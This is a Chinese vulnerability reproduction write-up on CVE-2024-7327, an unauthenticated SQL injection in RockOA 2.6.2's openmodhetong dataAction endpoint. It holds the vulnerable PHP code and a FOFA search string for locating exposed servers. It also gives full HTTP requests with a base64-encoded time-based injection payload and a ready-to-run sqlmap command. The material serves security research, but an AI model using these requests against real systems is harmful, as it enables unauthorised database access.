漏洞复现分析
前台SQL注入漏洞(CVE-2024-7327)
信呼协同办公oa系统，简称信呼oa，是一款开源的、跨平台办公系统。信呼oa官方版支持APP，pc网页版，pc客户端等，可以为企业构建一个基于互联网的企业管理平台, 对企业中沟通与互动，协作与管理进行全方位整合，并且支持用户二次开发，让每个企业单位都有自己的工作系统。信呼oa官方版免费开源，数据全部自己管理，能够支持自定义管理应用，模块数据，权限分配。支持即时信息沟通交流，推送提醒，微信企业号完美对接。信呼协同办公oa系统还可以支持单据快速提醒推送，重要通知任务及时提醒。
产品项目：http://www.rockoa.com
【漏洞介绍】
信呼 RockOA 2.6.2 版本中存在一个被归类为严重级别的漏洞。此漏洞影响文件 /webmain/task/openapi/openmodhetongAction.php 的功能数据操作（dataAction），通过对参数 nickName 的不当操作可导致 SQL 注入，攻击可以远程发起，漏洞标识符为 VDB-273250。且早前联系供应商后未得到任何回应。
app="信呼-OA系统"
影响版本：Version <= 2.6.2
【漏洞分析】
-
数据处理流程漏洞 public function dataAction() { $mobile = $this->get('mobile'); $xcytype = $this->get('xcytype'); $openid = $this->get('openid'); $nickName = $this->jm->base64decode($this->get('nickName')); $htdata = array(); $db = m('wxxcyus'); $uarr['mobile'] = $mobile; $uarr['xcytype'] = $xcytype; $uarr['openid'] = $openid; $uarr['nickName'] = $nickName; $uarr['province'] = $this->get('province'); $uarr['city'] = $this->get('city'); $uarr['gender'] = $this->get('gender'); $uarr['dingyue'] = $this->get('dingyue'); $uarr['avatarUrl'] = $this->jm->base64decode($this->get('avatarUrl')); $where = "`openid`='$openid'"; if($db->rows($where)==0){ $uarr['adddt'] = $this->now; $where=''; }else{ $uarr['optdt'] = $this->now; } $db->record($uarr, $where);
public function record($arr, $where='')
{
return $this->db->record($this->table, $arr, $where);
}public function record($table,$array,$where='')
{
$addbool = true;
if(!$this->isempt($where))$addbool=false;
$cont = '';
if(is_array($array)){
foreach($array as $key=>$val){
$cont.=",`$key`=".$this->toaddval($val)."";
}
$cont = substr($cont,1);
}else{
$cont = $array;
}
$table = $this->gettables($table);
if($addbool){
$sql="insert into $table set $cont";
}else{
$where = $this->getwhere($where);
$sql="update $table set $cont where $where";
}
return $this->tranbegin($sql);
}public function initAction()
{
$this->display= false;
$openkey = $this->post('openkey');
$this->openkey = getconfig('openkey');
if($this->keycheck && HOST != '127.0.0.1' && !contain(HOST,'192.168') && $this->openkey != ''){
if($openkey != md5($this->openkey))$this->showreturn('', 'openkey not access', 201);
}
$this->getpostdata();
}【漏洞复现】
1. 正常访问
GET /index.php?m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=MQ== HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Cookie: loginname=admin; jueseid=1; danweiid=1; quanxian=0; PHPSESSID=cv1c2tefjckfjnpin34n2oc8h1; deviceid=1708223329907
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: keep-alive
Sec-Fetch-Dest: document
Sec-Fetch-Site: none
sec-fetch-user: ?1
Sec-Fetch-Mode: navigate
sec-ch-ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: Windows
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: no-cache
Pragma: no-cache
Host: 
2. 访问拼接入sleep(5)的参数请求，
GET /index.php?m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=MScgYW5kIHNsZWVwKDUpIw== HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Cookie: loginname=admin; jueseid=1; danweiid=1; quanxian=0; PHPSESSID=cv1c2tefjckfjnpin34n2oc8h1; deviceid=1708223329907
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: keep-alive
Sec-Fetch-Dest: document
Sec-Fetch-Site: none
sec-fetch-user: ?1
Sec-Fetch-Mode: navigate
sec-ch-ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: Windows
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: no-cache
Pragma: no-cache
Host:
时间盲注成功实现！
3. 如需继续利用，则可使用sqlmap进行进一步利用
sqlmap.py -u "http://xx.xx.xx.xx/index.php?m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=*" --tamper "base64encode" --headers="Host: 127.0.0.1"原文始发于微信公众号（东方隐侠安全团队）：漏洞复现｜信呼RockOA openmodhetong 前台SQL注入漏洞(CVE-2024-7327)
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论